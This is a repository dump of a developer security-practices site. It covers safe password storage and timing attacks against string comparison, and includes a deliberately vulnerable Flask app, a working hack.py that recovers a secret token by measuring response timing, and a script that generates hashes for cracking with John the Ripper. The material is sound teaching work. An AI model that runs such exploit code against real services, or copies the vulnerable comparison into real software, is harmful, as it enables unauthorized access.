| 63 | ### Use docker 64 | 65 | We also provided a Dockerfile that you can use if you don't want to install John. 66 | 67 | First you can build with: 68 | 69 | ``` 70 | docker build -t safe_password_storage_python . 71 | ``` 72 | 73 | Then launch it with: 74 | 75 | ``` 76 | docker run -t -i --rm=true safe_password_storage_python 77 | ``` 78 | 79 | You can then use the same commands as shown above. 80 | -------------------------------------------------------------------------------- /_practices/safe-password-storage/_python/app.py: -------------------------------------------------------------------------------- 1 | import time 2 | from flask import Flask, request 3 | 4 | app = Flask(__name__) 5 | 6 | SECRET_TOKEN = 'foobar' 7 | 8 | 9 | def strcmp(s1, s2): 10 | if len(s1) != len(s2): 11 | return False 12 | for c1, c2 in zip(s1, s2): 13 | if c1 != c2: 14 | return False 15 | time.sleep(0.01) 16 | return True 17 | 18 | 19 | @app.route("/") 20 | def protected(): 21 | token = request.headers.get('X-TOKEN') 22 | 23 | if not token: 24 | return "Missing token", 401 25 | 26 | if strcmp(token, SECRET_TOKEN): 27 | return "Hello admin user! Here is your secret content" 28 | else: 29 | return "WHO ARE YOU? GET OUT!", 403 30 | 31 | 32 | if __name__ == "__main__": 33 | app.run() 34 | -------------------------------------------------------------------------------- /_practices/safe-password-storage/_python/generate_data.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import hashlib 3 | import random 4 | 5 | import faker 6 | import django.contrib.auth.hashers 7 | 8 | 9 | FAKE = faker.Factory.create() 10 | 11 | with open("password.list") as file: 12 | PASSWORDS = [line.strip() for line in file.readlines()] 13 | 14 | 15 | def remove_pepper(encoded, pepper): 16 | index = encoded.index(pepper) 17 | return encoded[:index] + encoded[index+len(pepper):] 18 | 19 | 20 | class MD5Hasher(object): 21 | 22 | def __init__(self, salt=None, pepper=None, rounds=None): 23 | self.django_hasher = django.contrib.auth.hashers.MD5PasswordHasher() 24 | self.global_salt = self.django_hasher.salt() 25 | 26 | self.salt = salt 27 | self.pepper = pepper 28 | 29 | if rounds: 30 | print("MD5 don't take rounds argument, ignore") 31 | 32 | def encode(self, password): 33 | if self.salt is None: 34 | return hashlib.md5(password).hexdigest() 35 | elif self.salt == 'same': 36 | salt = self.global_salt 37 | elif self.salt == 'user': 38 | salt = self.django_hasher.salt() 39 | 40 | encoded = self.django_hasher.encode(password, self.pepper + salt) 41 | # Replace 'md5$' by '$1$' 42 | _, salt, passwd = encoded.split('$') 43 | return '$dynamic_4$%s$%s' % (passwd, remove_pepper(salt, self.pepper)) 44 | 45 | @property 46 | def iterations(self): 47 | return 1 48 | 49 | def jtr_format(self): 50 | if self.salt is None: 51 | return 'Raw-MD5' 52 | else: 53 | return "dynamic_4" 54 | 55 | 56 | class BCryptHasher(object): 57 | 58 | def __init__(self, salt=None, pepper=None, rounds=None): 59 | self.django_hasher = django.contrib.auth.hashers.BCryptPasswordHasher() 60 | 61 | if rounds: 62 | self.django_hasher.rounds = rounds 63 | 64 | self.global_salt = self.django_hasher.salt() 65 | 66 | if salt is None: 67 | raise NotImplementedError("BCRYPT NEEDS A SALT MORON") 68 | 69 | self.salt = salt 70 | self.pepper = pepper 71 | 72 | def encode(self, password): 73 | if self.salt == 'same': 74 | encoded = self.django_hasher.encode(password, self.pepper + self.global_salt) 75 | # Replace 'md5$' by '$1$' 76 | # Remove 'bcrypt$' 77 | return encoded[7:] 78 | elif self.salt == 'user': 79 | encoded = self.django_hasher.encode(password, self.pepper + self.django_hasher.salt()) 80 | # Replace 'md5$' by '$1$' 81 | return encoded[7:] 82 | 83 | @property 84 | def iterations(self): 85 | return self.django_hasher.rounds 86 | 87 | def jtr_format(self): 88 | return 'bcrypt' 89 | 90 | 91 | class PBKDF2Hasher(object): 92 | 93 | def __init__(self, salt=None, pepper=None, rounds=None): 94 | self.django_hasher = django.contrib.auth.hashers.PBKDF2PasswordHasher() 95 | 96 | if rounds: 97 | self.django_hasher.iterations = rounds 98 | 99 | self.global_salt = self.django_hasher.salt() 100 | 101 | if salt is None: 102 | raise NotImplementedError("PBKDF2 NEEDS A SALT MORON") 103 | 104 | self.salt = salt 105 | self.pepper = None 106 | 107 | def encode(self, password): 108 | if self.salt == 'same': 109 | encoded = self.django_hasher.encode(password, self.global_salt) 110 | # Replace 'md5$' by '$1$' 111 | return "$django$*1*" + encoded 112 | elif self.salt == 'user': 113 | encoded = self.django_hasher.encode(password, self.django_hasher.salt()) 114 | # Replace 'md5$' by '$1$' 115 | return "$django$*1*" + encoded 116 | 117 | @property 118 | def iterations(self): 119 | return self.django_hasher.iterations 120 | 121 | def jtr_format(self): 122 | return 'Django' 123 | 124 | 125 | def get_hasher(algorithm, salt, pepper, rounds): 126 | if algorithm == 'md5': 127 | return MD5Hasher(salt, pepper, rounds) 128 | elif algorithm == 'bcrypt': 129 | return BCryptHasher(salt, pepper, rounds) 130 | elif algorithm == 'pbkdf2': 131 | return PBKDF2Hasher(salt, pepper, rounds) 132 | else: 133 | raise NotImplementedError("Bad algorithm %s" % algorithm) 134 | 135 | 136 | def main(): 137 | parser = argparse.ArgumentParser(description='Generate username / password list for john the ripper') 138 | parser.add_argument('algorithm', help='which algorithm to use (md5, bcrypt or pbkdf2)') 139 | parser.add_argument('--salt', help='which kind of salt to use (none, same, user)') 140 | parser.add_argument('--pepper', default='', help='a pepper') 141 | parser.add_argument('--rounds', type=int, help='Number of rounds to use') 142 | parser.add_argument('--n', type=int, default=10, help='number of users/password to generate') 143 | args = parser.parse_args() 144 | 145 | hasher = get_hasher(args.algorithm, args.salt, args.pepper, args.rounds) 146 | 147 | msg = "Generating %s usernames/password with algorithm %r with salt %r [%r rounds] and pepper %r\n" 148 | print(msg % (args.n, args.algorithm, args.salt, hasher.iterations, args.pepper)) 149 | with open('passwd', 'w') as output_file: 150 | for i in range(args.n): 151 | username = FAKE.profile(fields='username')['username'] 152 | password = hasher.encode(random.choice(PASSWORDS)) 153 | print("%s:%s" % (username, password)) 154 | output_file.write("%s:%s\n" % (username, password)) 155 | 156 | print("\nOutput also write in file `passwd`") 157 | print("You can crack it with `john --wordlist=password.list --format=%s passwd`" % hasher.jtr_format()) 158 | 159 | if __name__ == '__main__': 160 | main() 161 | -------------------------------------------------------------------------------- /_practices/safe-password-storage/_python/requirements.txt: -------------------------------------------------------------------------------- 1 | django<2 2 | faker 3 | bcrypt 4 | -------------------------------------------------------------------------------- /_practices/safe-password-storage/python.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Safe password storage 3 | language: python 4 | --- 5 | 6 | Password storage is now mandatory in several standards and is a well-known and solved problem. Not following best practices for password storage could transform a hack into a nightmare for business and developers. 7 | 8 | # TL;DR 9 | 10 | Don't store passwords in clear-text. Don't hash passwords with MD5. Use dedicated algorithms for hashing passwords. Use a distinct salt per user. 11 | 12 | # Vulnerable code 13 | 14 | It’s universally acknowledged that storing clear-text passwords is a bad idea. The recommendation is to hash them, using a cryptographically secure hashing algorithm. Here are some examples of **WHAT TO NOT DO**. 15 | 16 | ```python 17 | from hashlib import md5 18 | 19 | def hash_password(password): 20 | return md5(password) 21 | ``` 22 | 23 | ```python 24 | import bcrypt 25 | 26 | def hash_password(password): 27 | return bcrypt.hashpw(password, '$2b$12$/msH5YVuJWZTfw.AdfLxS.') 28 | ``` 29 | 30 | ```python 31 | import os 32 | from passlib.hash import pbkdf2_sha256 33 | 34 | def hash_password(password): 35 | return pbkdf2_sha256('sha256', password, os.urandom(16), iterations=1) 36 | ``` 37 | 38 | All of theses examples are vulnerable; see below why. 39 | 40 | # Vulnerability explanation 41 | 42 | If an attacker gains access to your database, apart from personal information about your customers, he will try to recover your customers passwords: 43 | 44 | * To impersonate your customers and abuse the system, like posting spam using legitimate accounts or using their credits to buy things for themselves. 45 | * To try the passwords on other websites, thereby gaining access to even more personal information or, even worse, taking control of their email account. 46 | 47 | ## Clear-text passwords 48 | 49 | First, **YOU SHOULD NEVER STORE PASSWORDS IN CLEAR-TEXT**. If an attacker gains access to your database, they just need to copy the clear-text password and log in with it. 50 | 51 | There are known defences to make the attacker's life more difficult. 52 | 53 | ## Hash functions 54 | 55 | > A [Hash function](https://en.wikipedia.org/wiki/Hash_function) is any function that can be used to map data of arbitrary size to data of fixed size. The values returned by a hash function are called hash values, hash codes, digests, or simply hashes. - Wikipedia 56 | 57 | Hash functions have the property that any given input (string, bytes, ...) will always give the same hash as output, and that distinct inputs have a very high probability of producing distinct hashes. 58 | 59 | Hashes are used in every language for hash tables, caches, finding duplicate records, etc. 60 | 61 | ## Simple hash functions 62 | 63 | Thanks to the hash function's properties, the Internet has long recommended the use of a simple hash function like [`MD5`](https://en.wikipedia.org/wiki/MD5) or more recently [`SHA1`](https://en.wikipedia.org/wiki/SHA-1) for hashing passwords. The recommendation is better than storing password in clear-text in the database but attackers quickly found a solution. 64 | 65 | It's quite easy and quick to compute the MD5 of most common passwords, as `MD5('password')` will always be `5f4dcc3b5aa765d61d8327deb882cf99`. So the use of [rainbow tables](https://en.wikipedia.org/wiki/Rainbow_table) quickly became a valuable tool for attackers. If you see the value `5f4dcc3b5aa765d61d8327deb882cf99` in a data leak, you can look in the rainbow table and it will tell you that the clear-text password is `password`. 66 | 67 | Don't trust me? [Go check yourself here](http://hashtoolkit.com/reverse-hash/?hash=5f4dcc3b5aa765d61d8327deb882cf99). 68 | 69 | The crack is basically immediate, all possible passwords are precomputed, the complexity of cracking your password with MD5 or sha1 is basically: `O(1)`. Thus, in reality, MD5 is no better than storing passwords in clear-text. 70 | 71 | ## Wordlist 72 | 73 | The problem with brute-forcing passwords is that you need to have a list of "known" passwords in the first place. It's called a `wordlist` and is basically a clear-text file of passwords found in previous hacks, usually the most common ones like `123456` or `qwerty`. The problem is that most users uses these simple password or a combination of them. Security researchers estimate that as many as [50% of passwords found in leaks are from the top 25% most common passwords in 2016](https://blog.keepersecurity.com/2017/01/13/most-common-passwords-of-2016-research-study/). Passwords crackers can also apply some mangling rules, like replacing a letter by a number `qw3rty` or mixing the case `QwErTy`. So, even with a strong hash, attackers can determine the passwords of many accounts in your system. 74 | 75 | ## Salt 76 | 77 | One solution that quickly came is to use [a salt](https://en.wikipedia.org/wiki/Salt_(cryptography)); instead of hashing just the password, you hash the password concatenated with a random value that you store. So `MD5('password' + 'SalT3D') == 'e7c3b1834297faf1ea92754f41daf14f' != MD5('password')`. This solution blocks the [most common rainbow tables](http://hashtoolkit.com/reverse-hash?hash=e7c3b1834297faf1ea92754f41daf14f) but the hackers quickly found a new workaround. 78 | 79 | As the salt value is the same across all the stored passwords, the attacker can generate a rainbow table with your salt value; such computations become easier as computer power increases and parallelization improves. 80 | 81 | With this solution, the attacker needs to generate a rainbow table, augmenting the complexity to crack your passwords to: `O(N)`, N being the number of passwords "knowns". 82 | 83 | ## Per-user salt 84 | 85 | Instead of using a global salt, the solution is to generate a salt per user. The downside is that you have to store the salt value along with your passwords to be able to check the password. 86 | 87 | In this way, the attacker would have to generate a rainbow table per salt value. This quickly raises the complexity of the attacker's work. If you have 100 users and one distinct salt per user, the attacker would have to compute: `100 (users salt) * 100 (number of password to try) = 10000` hashes to crack all of your customers passwords. 88 | 89 | With this solution, the attacker needs to generate a rainbow table per user salt, augmenting the complexity to crack your passwords to: `O(M*N)`, M being the number of customers and N being the number of passwords of a password list. 90 | 91 | ## Let's slow the world 92 | 93 | One solution to counter the augmentation of compute power and [use of GPU to crack passwords](https://blog.elcomsoft.com/2016/07/nvidia-pascal-a-great-password-cracking-tool/) is to use hash functions designed specifically for password hashing. They are called [Cryptographic hash functions](https://en.wikipedia.org/wiki/Cryptographic_hash_function). They have the same basic property in that they are deterministic, but they have another property fundamental for hashing passwords: It is infeasible to generate a message from its hash value except by trying all possible messages. This means that if an attacker has a cryptographic hash, it will need to brute-force it, try an enormous number of passwords, hash them with your user salt, and check if they match. 94 | 95 | Simple hashing functions are pretty quick and easy to parallelize, [latest reports](https://gist.github.com/epixoip/a83d38f412b4737e99bbef804a270c40) show up to 200 billion per second, yes **200,000,000,000** hash per second for MD5 and only 68 billion for SHA1. 96 | 97 | A slower hashing algorithm can make brute-force attackers harder by forcing them to take longer. Algorithms like [BCrypt](https://en.wikipedia.org/wiki/Bcrypt) or [pkbdf2](https://en.wikipedia.org/wiki/PBKDF2) are very well suited for password hashing because the algorithmic complexity can be tuned at runtime. You can set the number of iterations required to compute a hash, so if one of these algorithms becomes fast to crack, you need only double the iterations, and you should be safe. 98 | 99 | Checking back on the report above, with BCrypt, we are down to 105 thousand hashes per second for BCrypt with 5 iterations and *only* 9680 hashes per second for pbkdf2 with 1000 iterations, and these iterations are pretty low according to present standards. 100 | 101 | ## Closing thoughts 102 | 103 | All these good practices have the objective to slow down a hacker that would have access to your database passwords and try to crack them. There are two complimentary solutions: 104 | 105 | - Force users to use strong passwords: They are much much harder to crack. Check out this website to see the [complexity of different passwords](https://howsecureismypassword.net/). `password` is marked as cracked instantly while `uFLXW7UZ2J5L1ICTatzQ` would take **558 QUADRILLION YEARS.** If a password cracker couldn't generate your password from its wordlist and mangling rules, except by trying every possible combination of characters, your users should be safe. 106 | - Use a cryptographic pepper. A pepper is added to the password and the salt before hashing. The big difference is that the pepper is **NOT** stored in the database but somewhere else safe. This way if an attacker access your database, he would need to brute force the pepper *and* the password which would be infeasible. 107 | 108 | And please, *do not* write your own hashing function or compose them without understanding what you are doing. And, no, `MD5(MD5('password') + 's')` is not inherently safer. 109 | 110 | Here is a graph of cracking time per algorithm: 111 | 112 | 113 | 114 | This image has been generated from this [Google Spreadsheet](https://docs.google.com/spreadsheets/d/1FGSnq-XKSsDLobCcKHXrVp06dDMQ5CrK9iBtcK-OYd0/edit#gid=0). 115 | 116 | # Non-vulnerable code 117 | 118 | If you are using Django, just follow the [Django documentation](https://docs.djangoproject.com/en/1.10/topics/auth/passwords/) and use standard Django password hashers. 119 | 120 | If you are not using Django, you can use [passlib](https://pypi.python.org/pypi/passlib) which is easily installable, maintained and with a very opinionated API: For example, you cannot hash a password without a salt. It also support multi-factor auth which is a very good thing. 121 | 122 | # Example of attack 123 | 124 | {% include_relative _python/README.md %} 125 | 126 | ## References: 127 | 128 | - [https://blogs.dropbox.com/tech/2016/09/how-dropbox-securely-stores-your-passwords/](https://blogs.dropbox.com/tech/2016/09/how-dropbox-securely-stores-your-passwords/) 129 | -------------------------------------------------------------------------------- /_practices/timing-attack/_python/README.md: -------------------------------------------------------------------------------- 1 | We have provided a sample python web application coded in Flask that check authorization token in a timing attack vulnerable way. You can also find a script that will exploit this vulnerability to retrieve the expected token. 2 | 3 | ### Run the web application 4 | 5 | In order to run the web application, create a virtualenv: 6 | 7 | ```bash 8 | python -m virtualenv -p $(which python3) venv 9 | source venv/bin/activate 10 | ``` 11 | 12 | Then install the dependencies: 13 | 14 | ```bash 15 | pip install -r requirements.txt 16 | ``` 17 | 18 | You can then run the web application this way: 19 | 20 | ```bash 21 | gunicorn -w 1 app:app 22 | ``` 23 | 24 | 25 | The web application expects to receive the token named `SECRET_TOKEN` in `app.py` in the header named `X-TOKEN`. If the header match the hardcoded one, it returns a `200 OK` status code, else it returns a `403 Forbidden`. 26 | 27 | ### Hack the web application 28 | 29 | In order to run the script to hack the web application, create a virtualenv: 30 | 31 | ```bash 32 | python -m virtualenv -p $(which python3) venv 33 | source venv/bin/activate 34 | ``` 35 | 36 | Then install the dependencies: 37 | 38 | ```bash 39 | pip install -r requirements.txt 40 | ``` 41 | 42 | Finally, launch it with: 43 | 44 | ```bash 45 | python hack.py 46 | ``` 47 | 48 | ### Customize 49 | 50 | You can change the hardcoded token in `app.py` to validate that the script is effectively working. 51 | 52 | If you change the expected token size, also change the variable `TOKEN_SIZE` in `hack.py`. The hacking script was not made smart enough to try to find the right token size. 53 | -------------------------------------------------------------------------------- /_practices/timing-attack/_python/app.py: -------------------------------------------------------------------------------- 1 | import time 2 | from flask import Flask, request 3 | 4 | app = Flask(__name__) 5 | 6 | SECRET_TOKEN = 'foobar' 7 | 8 | 9 | def strcmp(s1, s2): 10 | if len(s1) != len(s2): 11 | return False 12 | for c1, c2 in zip(s1, s2): 13 | if c1 != c2: 14 | return False 15 | time.sleep(0.01) 16 | return True 17 | 18 | 19 | @app.route("/") 20 | def protected(): 21 | token = request.headers.get('X-TOKEN') 22 | 23 | if not token: 24 | return "Missing token", 401 25 | 26 | if strcmp(token, SECRET_TOKEN): 27 | return "Hello admin user! Here is your secret content" 28 | else: 29 | return "WHO ARE YOU? GET OUT!", 403 30 | 31 | 32 | if __name__ == "__main__": 33 | app.run() 34 | -------------------------------------------------------------------------------- /_practices/timing-attack/_python/hack.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import time 3 | import string 4 | import statistics 5 | 6 | import requests 7 | 8 | from operator import itemgetter 9 | 10 | URL = "http://localhost:8000" 11 | N = 100 12 | TOKEN_SIZE = 6 13 | 14 | 15 | class PasswordFound(Exception): 16 | 17 | def __init__(self, password): 18 | self.password = password 19 | 20 | 21 | def try_to_hack(characters): 22 | timings = [] 23 | 24 | # Print a . without a newline 25 | print('.', end='', flush=True) 26 | 27 | # Do N HTTP calls 28 | for i in range(N): 29 | before = time.perf_counter() 30 | result = requests.get(URL, headers={'X-TOKEN': characters}) 31 | after = time.perf_counter() 32 | 33 | if result.status_code == 200: 34 | raise PasswordFound(characters) 35 | elif result.status_code != 403: 36 | raise Exception(result, result.status_code) 37 | 38 | timings.append(after - before) 39 | 40 | return timings 41 | 42 | 43 | def find_next_character(base): 44 | measures = [] 45 | 46 | print("Trying to find the character at position %s with prefix %r" % ((len(base) + 1), base)) 47 | for i, character in enumerate(string.ascii_lowercase): 48 | timings = try_to_hack(base + character + "0" * (TOKEN_SIZE - len(base) - 1)) 49 | 50 | median = statistics.median(timings) 51 | min_timing = min(timings) 52 | max_timing = max(timings) 53 | stddev = statistics.stdev(timings) 54 | 55 | measures.append({'character': character, 'median': median, 'min': min_timing, 56 | 'max': max_timing, 'stddev': stddev}) 57 | 58 | sorted_measures = list(sorted(measures, key=itemgetter('median'), reverse=True)) 59 | 60 | found_character = sorted_measures[0] 61 | top_characters = sorted_measures[1:4] 62 | 63 | print("Found character at position %s: %r" % ((len(base) + 1), found_character['character'])) 64 | msg = "Median: %s Max: %s Min: %s Stddev: %s" 65 | print(msg % (found_character['median'], found_character['max'], found_character['min'], found_character['stddev'])) 66 | 67 | print() 68 | print("Following characters were:") 69 | 70 | for top_character in top_characters: 71 | ratio = int((1 - (top_character['median'] / found_character['median'])) * 100) 72 | msg ="Character: %r Median: %s Max: %s Min: %s Stddev: %s (%d%% slower)" 73 | print(msg % (top_character['character'], top_character['median'], top_character['max'], top_character['min'], top_character['stddev'], ratio)) 74 | 75 | return found_character['character'] 76 | 77 | 78 | def main(): 79 | # Do a first request to start the keep-alive connection 80 | requests.get(URL) 81 | 82 | base = '' 83 | 84 | try: 85 | while len(base) != TOKEN_SIZE: 86 | next_character = find_next_character(base) 87 | base += next_character 88 | print("\n\n", end="") 89 | except PasswordFound as e: 90 | print("\n\n", end="") 91 | print("The token is: %r %s" % (e.password, '!'*10)) 92 | sys.exit(0) 93 | else: 94 | print("The password is not found, check the allowed character and token size") 95 | sys.exit(1) 96 | 97 | 98 | if __name__ == '__main__': 99 | main() 100 | -------------------------------------------------------------------------------- /_practices/timing-attack/_python/requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | flask 3 | gunicorn 4 | -------------------------------------------------------------------------------- /_practices/timing-attack/_python/test.py: -------------------------------------------------------------------------------- 1 | import time 2 | import statistics 3 | 4 | timer = time.perf_counter # requires Python 3.3 or later 5 | 6 | 7 | def check_password(password, second_password): 8 | return password == second_password 9 | 10 | performance_times = [] 11 | 12 | too_long = "\1" * 10000 13 | 14 | 15 | for i in range(20): 16 | 17 | equals_times = [] 18 | not_equals_times = [] 19 | 20 | for _ in range(10000): 21 | good_password = "A"*i 22 | bad_password = "B" + "0"*(i-1) 23 | t1 = timer() 24 | check_password(good_password, bad_password) 25 | t2 = timer() 26 | 27 | not_equals_times.append(t2 - t1) 28 | 29 | for _ in range(10000): 30 | good_password = "A"*i 31 | other_password = "A" + "0"*(i-1) 32 | t1 = timer() 33 | check_password(good_password, bad_password) 34 | t2 = timer() 35 | 36 | equals_times.append(t2 - t1) 37 | 38 | print("Size %d not equal: %s" % (i, statistics.mean(not_equals_times))) 39 | print("Size %d equal: %s" % (i, statistics.mean(equals_times))) 40 | -------------------------------------------------------------------------------- /_practices/timing-attack/nodejs.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Timing Attacks against String Comparison 3 | language: nodejs 4 | --- 5 | 6 | Timing Attacks are a particular type of attacks that use flaws in code that impact the execution time. 7 | 8 | # TLDR 9 | 10 | Don't use string comparison `==` when checking for secrets or token equality. Use safe implementations. 11 | 12 | # Vulnerable code 13 | 14 | # Vulnerability explanation 15 | 16 | SCHEMA 17 | 18 | # Not vulnerable code 19 | 20 | # Example of attack 21 | 22 | ## References: 23 | 24 | - [https://codahale.com/a-lesson-in-timing-attacks/](https://codahale.com/a-lesson-in-timing-attacks/) 25 | -------------------------------------------------------------------------------- /_practices/timing-attack/python.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Timing Attacks against String Comparison 3 | language: python 4 | --- 5 | 6 | Timing Attacks are a particular type of attacks that use flaws in code that impact the execution time to discover hints about secrets. 7 | 8 | # TL;DR 9 | 10 | Don't use string comparison `==` when checking for secrets or token equality. Use constant-time implementations. 11 | 12 | # Vulnerable code 13 | 14 | For example, this Python code is vulnerable to timing attacks: 15 | 16 | ```python 17 | def is_authorized(token): 18 | if token == 'MY_SECURE_TOKEN': 19 | return True 20 | else: 21 | return False 22 | ``` 23 | 24 | # Vulnerability explanation 25 | 26 | While being very simple, it's vulnerable. Why? The code that compares two string is equivalent to this one: 27 | 28 | ```python 29 | def str_equals(first_string, second_string): 30 | if len(first_string) != len(second_string): 31 | return False 32 | 33 | for c1, c2 in zip(first_string, second_string): 34 | if c1 != c2: 35 | return False 36 | 37 | return True 38 | ``` 39 | 40 | It iterates over each character of the two string and returns `False` as soon as two characters differ. This means that comparing two strings can take differing amounts of time when depending on the location of the first difference. 41 | 42 | ![String comparison](string-comparison.jpeg) 43 | 44 | The difference appears negligible, and it is indeed very small, but statistics dictates that even small differences can be detected with enough measurements. Moreover, network jitter can now be precisely modeled and can be removed from measures over the internet. According to [one of the reference paper on the subject](http://www.cs.rice.edu/~dwallach/pub/crosby-timing2009.pdf), "we have shown that, even though the Internet induces significant timing jitter, we can reliably distinguish remote timing differences as low as 20µs". 45 | 46 | Timing attacks can occur when the attacker controls the value that is compared to the secret. For an authorization key, for example, if he discovers that the first character is `f`, he can start sending keys beginning with `f` to find the next characters. 47 | 48 | # Non-vulnerable code 49 | 50 | The solution is to compare the two strings in a way that is not dependent on the length of the strings. This algorithm is called constant time string comparison. 51 | 52 | To do this successfully the algorithm must: 53 | 54 | - Compare all of the characters before returning true or false. 55 | - returning early will leak information. 56 | - Compare strings of equal length 57 | - if one string is longer or shorter, you'll return early and leak information about string length. 58 | 59 | Django provides a function [`constant_time_compare`](constant_time_compare) that can be used to securely check two strings. 60 | 61 | The python standard lib also provides the function [`hmac.compare_digest`](https://docs.python.org/3/library/hmac.html#hmac.compare_digest) only in Python 3.3+. 62 | 63 | # Example of attack 64 | 65 | {% include_relative _python/README.md %} 66 | 67 | {% assign dirname = page.path | split: '/' | pop | join: '/' %} 68 | You can play with the code located here. 69 | 70 | ## References: 71 | 72 | - [https://codahale.com/a-lesson-in-timing-attacks/](https://codahale.com/a-lesson-in-timing-attacks/) 73 | - [http://www.cs.rice.edu/~dwallach/pub/crosby-timing2009.pdf](http://www.cs.rice.edu/~dwallach/pub/crosby-timing2009.pdf) 74 | -------------------------------------------------------------------------------- /_practices/timing-attack/string-comparison.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/_practices/timing-attack/string-comparison.jpeg -------------------------------------------------------------------------------- /_sass/minima.scss: -------------------------------------------------------------------------------- 1 | // Define defaults for each variable. 2 | 3 | $base-font-family: "Helvetica Neue", Helvetica, Arial, sans-serif !default; 4 | $base-font-size: 16px !default; 5 | $base-font-weight: 400 !default; 6 | $small-font-size: $base-font-size * 0.875 !default; 7 | $base-line-height: 1.5 !default; 8 | 9 | $spacing-unit: 30px !default; 10 | 11 | $text-color: #111 !default; 12 | $background-color: #fdfdfd !default; 13 | $brand-color: #2a7ae2 !default; 14 | 15 | $grey-color: #828282 !default; 16 | $grey-color-light: lighten($grey-color, 40%) !default; 17 | $grey-color-dark: darken($grey-color, 25%) !default; 18 | 19 | // Width of the content area 20 | $content-width: 800px !default; 21 | 22 | $on-palm: 600px !default; 23 | $on-laptop: 800px !default; 24 | 25 | // Use media queries like this: 26 | // @include media-query($on-palm) { 27 | // .wrapper { 28 | // padding-right: $spacing-unit / 2; 29 | // padding-left: $spacing-unit / 2; 30 | // } 31 | // } 32 | @mixin media-query($device) { 33 | @media screen and (max-width: $device) { 34 | @content; 35 | } 36 | } 37 | 38 | // Import partials. 39 | @import 40 | "minima/base", 41 | "minima/layout", 42 | "minima/syntax-highlighting" 43 | ; 44 | -------------------------------------------------------------------------------- /_sass/minima/_base.scss: -------------------------------------------------------------------------------- 1 | /** 2 | * Reset some basic elements 3 | */ 4 | body, h1, h2, h3, h4, h5, h6, 5 | p, blockquote, pre, hr, 6 | dl, dd, ol, ul, figure { 7 | margin: 0; 8 | padding: 0; 9 | } 10 | 11 | 12 | 13 | /** 14 | * Basic styling 15 | */ 16 | body { 17 | font: $base-font-weight #{$base-font-size}/#{$base-line-height} $base-font-family; 18 | color: $text-color; 19 | background-color: $background-color; 20 | -webkit-text-size-adjust: 100%; 21 | -webkit-font-feature-settings: "kern" 1; 22 | -moz-font-feature-settings: "kern" 1; 23 | -o-font-feature-settings: "kern" 1; 24 | font-feature-settings: "kern" 1; 25 | font-kerning: normal; 26 | } 27 | 28 | 29 | 30 | /** 31 | * Set `margin-bottom` to maintain vertical rhythm 32 | */ 33 | h1, h2, h3, h4, h5, h6, 34 | p, blockquote, pre, 35 | ul, ol, dl, figure, 36 | %vertical-rhythm { 37 | margin-bottom: $spacing-unit / 2; 38 | } 39 | 40 | 41 | 42 | /** 43 | * Images 44 | */ 45 | img { 46 | max-width: 100%; 47 | vertical-align: middle; 48 | } 49 | 50 | 51 | 52 | /** 53 | * Figures 54 | */ 55 | figure > img { 56 | display: block; 57 | } 58 | 59 | figcaption { 60 | font-size: $small-font-size; 61 | } 62 | 63 | 64 | 65 | /** 66 | * Lists 67 | */ 68 | ul, ol { 69 | margin-left: $spacing-unit; 70 | } 71 | 72 | li { 73 | > ul, 74 | > ol { 75 | margin-bottom: 0; 76 | } 77 | } 78 | 79 | 80 | 81 | /** 82 | * Headings 83 | */ 84 | h1, h2, h3, h4, h5, h6 { 85 | font-weight: $base-font-weight; 86 | } 87 | 88 | 89 | 90 | /** 91 | * Links 92 | */ 93 | a { 94 | color: $brand-color; 95 | text-decoration: none; 96 | 97 | &:visited { 98 | color: darken($brand-color, 15%); 99 | } 100 | 101 | &:hover { 102 | color: $text-color; 103 | text-decoration: underline; 104 | } 105 | } 106 | 107 | 108 | 109 | /** 110 | * Blockquotes 111 | */ 112 | blockquote { 113 | color: $grey-color; 114 | border-left: 4px solid $grey-color-light; 115 | padding-left: $spacing-unit / 2; 116 | font-size: 18px; 117 | letter-spacing: -1px; 118 | font-style: italic; 119 | 120 | > :last-child { 121 | margin-bottom: 0; 122 | } 123 | } 124 | 125 | 126 | 127 | /** 128 | * Code formatting 129 | */ 130 | pre, 131 | code { 132 | font-size: 15px; 133 | border: 1px solid $grey-color-light; 134 | border-radius: 3px; 135 | background-color: #eef; 136 | } 137 | 138 | code { 139 | padding: 1px 5px; 140 | } 141 | 142 | pre { 143 | padding: 8px 12px; 144 | overflow-x: auto; 145 | 146 | > code { 147 | border: 0; 148 | padding-right: 0; 149 | padding-left: 0; 150 | } 151 | } 152 | 153 | 154 | 155 | /** 156 | * Wrapper 157 | */ 158 | .wrapper { 159 | max-width: -webkit-calc(#{$content-width} - (#{$spacing-unit} * 2)); 160 | max-width: calc(#{$content-width} - (#{$spacing-unit} * 2)); 161 | margin-right: auto; 162 | margin-left: auto; 163 | padding-right: $spacing-unit; 164 | padding-left: $spacing-unit; 165 | @extend %clearfix; 166 | 167 | @include media-query($on-laptop) { 168 | max-width: -webkit-calc(#{$content-width} - (#{$spacing-unit})); 169 | max-width: calc(#{$content-width} - (#{$spacing-unit})); 170 | padding-right: $spacing-unit / 2; 171 | padding-left: $spacing-unit / 2; 172 | } 173 | } 174 | 175 | 176 | 177 | /** 178 | * Clearfix 179 | */ 180 | %clearfix:after { 181 | content: ""; 182 | display: table; 183 | clear: both; 184 | } 185 | 186 | 187 | 188 | /** 189 | * Icons 190 | */ 191 | .icon > svg { 192 | display: inline-block; 193 | vertical-align: middle; 194 | 195 | path { 196 | fill: $grey-color; 197 | } 198 | } 199 | -------------------------------------------------------------------------------- /_sass/minima/_layout.scss: -------------------------------------------------------------------------------- 1 | /** 2 | * Site header 3 | */ 4 | .site-header { 5 | border-top: 5px solid $grey-color-dark; 6 | border-bottom: 1px solid $grey-color-light; 7 | min-height: 56px; 8 | 9 | // Positioning context for the mobile navigation icon 10 | position: relative; 11 | } 12 | 13 | .site-title { 14 | font-size: 26px; 15 | font-weight: 300; 16 | line-height: 56px; 17 | letter-spacing: -1px; 18 | margin-bottom: 0; 19 | float: left; 20 | 21 | &, 22 | &:visited { 23 | color: $grey-color-dark; 24 | } 25 | } 26 | 27 | .site-nav { 28 | float: right; 29 | line-height: 56px; 30 | 31 | .menu-icon { 32 | display: none; 33 | } 34 | 35 | .page-link { 36 | color: $text-color; 37 | line-height: 